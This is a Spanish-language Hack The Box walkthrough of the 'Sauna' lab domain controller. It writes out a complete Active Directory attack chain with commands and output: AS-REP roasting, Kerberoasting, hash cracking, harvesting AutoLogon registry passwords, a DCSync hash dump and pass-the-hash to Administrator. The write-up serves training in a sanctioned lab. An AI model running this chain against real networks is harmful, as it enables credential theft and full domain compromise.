Sauna

Hack The Box — Metodología Detallada

Sauna

IP:10.129.50.46
OS:Windows Server 2019
Dificultad:Easy
Categoría:Active Directory
Fecha:30 Ago 2026

Reconocimiento

Escaneo inicial de puertos

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.50.20 -oG allPorts

# Output
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
80/tcp    open  http             syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
Hallazgo
La presencia de los puertos 88 (Kerberos), 389 (LDAP) y 3268 (Global Catalog) confirma que el objetivo es un Domain Controller del dominio EGOTISTICAL-BANK.local. El puerto 5985 (WinRM) esta abierto, representando un vector de acceso remoto una vez obtenidas credenciales validas. SMB signing requerido descarta ataques de NTLM Relay contra este host.

Escaneo de versiones

PORT     STATE SERVICE
53/tcp   open  domain
80/tcp   open  http          Microsoft IIS httpd 10.0 (Egotistical Bank)
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn
389/tcp  open  ldap          Microsoft Windows AD LDAP (Domain: 
EGOTISTICAL-BANK.LOCAL)
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows AD LDAP (Domain: 
EGOTISTICAL-BANK.LOCAL)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open  mc-nmf        .NET Message Framing

Service Info: Host: SAUNA; OS: Windows
Hallazgo
El escaneo de versiones confirmo el nombre completo del dominio: EGOTISTICAL-BANK.LOCAL y el hostname SAUNA. El puerto 80 expone un servidor web Microsoft IIS 10.0 con el sitio Egotistical Bank, lo que representa un vector adicional de enumeracion. Se agrego EGOTISTICAL-BANK.LOCAL y SAUNA.EGOTISTICAL-BANK.LOCAL al /etc/hosts.

Enumeración de Active Directory

Enumeración sin credenciales

SMB anónimo — enumeración de usuarios

Hipótesis
Se intentó enumerar usuarios del dominio mediante autenticación nula via SMB para obtener cuentas validas sin credenciales previas.
netexec smb 10.129.50.46 -u '' -p '' --users
[*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-
BANK.LOCAL) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SAUNA               [+] EGOTISTICAL-BANK.LOCAL\:
Conclusión
La autenticacion nula no retorno usuarios del dominio. Sin embargo se confirmo el sistema operativo Windows Server 2019 Build 17763 y que el servidor admite sesiones nulas (Null Auth:True). Se procede a enumerar shares y el sitio web.

SMB anónimo — shares

Hipótesis
Se enumeraron los recursos compartidos accesibles mediante autenticación nula para identificar shares sin protección que pudieran contener información sensible.
smbclient -L  //10.129.50.46// -N
Anonymous login successful

Sharename       Type      Comment
---------       ----      -------
SMB1 disabled -- no workgroup available
Conclusión
No se encontraron carpetas compartidsa con la sesion anonima de smb.

Enumeracion Web

Hipótesis
Se observo en la pagina web principal una nvbar llamada about, el cual por lo regular se poner el nombre del equipo.
Hipótesis
Teniendo el nombre del equipo, se creo de manera manual un .txt de nombre de usuarios y variantes para comprobar si tienen el Pre-Auth activado y poder crackear en local la contraseña.
cat users.txt
File: users.txt
Fergus Smith
Shaun Coins
Hugo Bear
Bowie Taylor
Sophie Driver
Steven Kerb

fsmith
scoins
hbear
btaylor
sdriver
skerb

Fergus.Smith
Shaun.Coins
Hugo.Bear
Bowie.Taylor
Sophie.Driver
Steven.Kerb
Hipótesis
Con esta mini wordlist de nombres de usuarios y variantes en lo formatos mas comunes en ad se procedio a comprobar si tiene pre-auth.
GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -dc-ip 10.129.50.46 \
-usersfile users.txt \
-no-pass \
-format hashcat -outputfile asrep.txt
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies

[-] KDC_ERR_C_PRINCIPAL_UNKNOWN (usuarios no encontrados)
[+] [email protected]:1f249e3f...[hash truncado]
[-] KDC_ERR_C_PRINCIPAL_UNKNOWN (usuarios no encontrados)
Hallazgo
El formato correcto para el ad es inical de nombre pegado del apellido, ya con esto se identifico una cuenta con pre-auth activado, siendo esta fsmith.
hashcat -m 18200 asrep.txt \
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

[email protected]:9b5...[hash truncado]:Thestrokes23
Hallazgo
Vector confirmado: Se crackeo la contraseña correctamente, ya tenemos credenciales validas, user: fsmith y passwd: Thestrokes23.

Explotación

Acceso inicial — WinRM con credenciales de fsmith

Hipótesis
Con las credenciales obtenidas del crackeo del hash AS-REP se procedio a acceder via WinRM para obtener la flag de usuario y enumerar privilegios en busca de vectores de escalada.
evil-winrm -i 10.129.50.46 -u fsmith -p Thestrokes23

*Evil-WinRM* PS C:\Users\FSmith\Desktop> type user.txt
30ee7c****************2f8
Hallazgo
Vector confirmado: Acceso obtenido como fsmith via WinRM. Flag de usuario: 30ee7c****************2f8.

Enumeración de privilegios

*Evil-WinRM* PS C:\Users\FSmith\Desktop> whoami /priv

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Conclusión
Ningun privilegio explotable identificado para fsmith. Se procede a enumerar el sistema en busca de otros vectores de escalada.

Grafo de BloodHound

Hipótesis
Se procedio a realizar un mapeo del AD con la herramienta BloodHound para tener una mejor vision del AD completo.
bloodhound-python -u fsmith -p Thestrokes23 \
-dc SAUNA.EGOTISTICAL-BANK.LOCAL \
-d EGOTISTICAL-BANK.LOCAL -c All \
-ns 10.129.50.46

INFO: Found 7 users
INFO: Found 52 groups
INFO: Found 3 gpos
INFO: Found 1 ous
Hallazgo
Se identificaron 7 usuarios en el dominio con 52 grupos, ahora que tenemos los .json creados por bloodhound se procedio a ver desde la interfaz web de la herramienta.
Conclusión
No se encontro ninguna cadena de ACL, asi que se descarto un posible ACL abuse.

Enumeracion de usuario

Hipótesis
Anteriormente se intento enumerar usuario por smb con login anonimo pero no enumero nada, ahora con credenciales se procedio hacer lo mismo.
netexec smb 10.129.50.46 -u 'fsmith' -p 'Thestrokes23' --users

Usuario          Ultimo PW Set         Descripcion
---------------  --------------------  ----------------------------------
Administrator    2021-07-26 16:16:16   Built-in administrator
Guest            <never>               Built-in guest
krbtgt           2020-01-23 05:45:30   Key Distribution Center
HSmith           2020-01-23 05:54:34   ---
FSmith           2020-01-23 16:45:19   ---
svc_loanmgr      2020-01-24 23:48:31   ---

Usuarios con SPN

Hipótesis
Con credenciales validas se enumero via LDAP si existian cuentas de usuario con SPNs registrados, condicion necesaria para Kerberoasting.
ldapsearch -x -H ldap://10.129.50.46 -D '[email protected]' \
-w 'Thestrokes23' \
-b 'DC=EGOTISTICAL-BANK,DC=LOCAL' \
'(&(objectClass=user)(servicePrincipalName=*))' \
sAMAccountName servicePrincipalName

sAMAccountName: HSmith
servicePrincipalName: SAUNA/HSmith.EGOTISTICALBANK.LOCAL:60111
Hallazgo
El usuario HSmith tiene el SPN SAUNA/HSmith.EGOTISTICALBANK.LOCAL:60111 registrado, lo que lo convierte en objetivo de Kerberoasting. Las cuentas SAUNA$ y krbtgt fueron descartadas por ser cuentas de maquina y sistema respectivamente.

Obtención del hash TGS

GetUserSPNs.py EGOTISTICAL-BANK.LOCAL/fsmith:Thestrokes23 \
-dc-ip 10.129.50.46 -request -outputfile hsmith_hash.txt

ServicePrincipalName                      Name    PasswordLastSet
----------------------------------------  ------  --------------------------
SAUNA/HSmith.EGOTISTICALBANK.LOCAL:60111  HSmith  2020-01-23 05:54:34

[-] KRB_AP_ERR_SKEW(Clock skew too great)
Hipótesis
El primer intento fallo por diferencia de reloj entre la maquina atacante y el DC. Se sincronizo el reloj manualmente:
sudo systemctl stop systemd-timesyncd
sudo ntpdate 10.129.50.46

30 Aug 12:36:15 ntpdate[291306]: step time server 10.129.50.46
offset +25201.202457 sec

Segundo intento — hash obtenido

GetUserSPNs.py EGOTISTICAL-BANK.LOCAL/fsmith:Thestrokes23 \
-dc-ip 10.129.50.46 -request -outputfile hsmith_hash.txt

ServicePrincipalName                      Name    PasswordLastSet
----------------------------------------  ------  --------------------------
SAUNA/HSmith.EGOTISTICALBANK.LOCAL:60111  HSmith  2020-01-23 05:54:34

[-] CCache file is not found. Skipping...
# Hash guardado en hsmith_hash.txt

Crackeo del hash con hashcat

Hipótesis
El primer intento con hashcat fallo porque el hash estaba fragmentado en multiples lineas, lo que hashcat interpreta como formato invalido. Se unio en una sola linea antes de reintentar:
tr -d '\n' < hsmith_hash.txt > hsmith_fixed.txt

hashcat -m 13100 hsmith_fixed.txt \
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

$krb5tgs$23$*HSmith$EGOTISTICAL-BANK.LOCAL$[...hash truncado...]:Thestrokes23

Status: Cracked
Hallazgo
Vector confirmado: Hash TGS de HSmith crackeado. La contrasena es identica a la de fsmith: Thestrokes23. No aporta un nuevo vector de acceso.

Grafo de BloodHound — HSmith

Hipótesis
A pesar de compartir contrasena con fsmith, se analizo el grafo de BloodHound para HSmith por si tuviera ACLs distintas sobre objetos del dominio.
Conclusión
No se identificaron ACLs explotables para HSmith. Vector descartado.

Credenciales de AutoLogon en el registro

Hipótesis
Windows permite configurar inicio de sesion automatico almacenando credenciales en la clave de registro Winlogon. Se consulto esta clave desde la sesion de fsmith en busca de credenciales expuestas.
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

DefaultDomainName    REG_SZ    EGOTISTICALBANK
DefaultUserName      REG_SZ    EGOTISTICALBANK\svc_loanmanager
DefaultPassword      REG_SZ    Moneymakestheworldgoround!
Hallazgo

Se encontraron credenciales en texto plano en la clave de AutoLogon del registro. El usuario svc_loanmanager tiene su contrasena expuesta:

Moneymakestheworldgoround!. Cualquier usuario con acceso de lectura al registro puede recuperar estas credenciales.

Escalada de Privilegios

Grafo de BloodHound — svc_loanmanager

Hipótesis
Con credenciales de svc_loanmanager se analizo su posicion en BloodHound para identificar ACLs explotables hacia Domain Admin.
Hallazgo
svc_loanmanager tiene el permiso GetChangesAll sobre el dominio EGOTISTICAL-BANK.LOCAL. Este permiso forma parte de los derechos de replicacion de AD y permite ejecutar un ataque DCSync: solicitar al DC que replique los hashes de todos los usuarios del dominio sin necesidad de ser un Domain Controller.

DCSync — volcado de hashes

secretsdump.py EGOTISTICAL-BANK.LOCAL/svc_loanmgr:\
'Moneymakestheworldgoround!'@10.129.50.46 -just-dc

[*] Using the DRSUAPI method to get NTDS.DIT secrets

Administrator:500:aad3b435b51404eeaad3b435b51404ee:
823452073d75b9d1cf70ebdf86c7f98e:::
krbtgt:502:...:4a8899428cad97676ff802229e466e2c:::
HSmith:1103:...:58a52d36c84fb7f5f1beab9a201db1dd:::
FSmith:1105:...:58a52d36c84fb7f5f1beab9a201db1dd:::
svc_loanmgr:1108:...:9cb31797c39a9b170b04058ba2bba48c:::
Hallazgo
Vector confirmado: DCSync exitoso. Se obtuvieron los hashes NTLM de todos los usuarios del dominio. Hash NT del Administrator: 823452073d75b9d1cf70ebdf86c7f98e.

Pass-the-Hash — acceso como Administrator

evil-winrm -i 10.129.50.46 -u Administrator \
-H 823452073d75b9d1cf70ebdf86c7f98e

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
d8a5*************************f2f
Hallazgo
Vector confirmado: Acceso obtenido como Administrator via Pass-the-Hash. Flag de root: d8a5*************************f2f. El dominio EGOTISTICAL-BANK.LOCAL ha sido completamente comprometido.

Reflexión Final

Qué salió bien

Qué salió mal

Lecciones aprendidas

Tiempo total

Aproximadamente 1 hora y 10 minutos.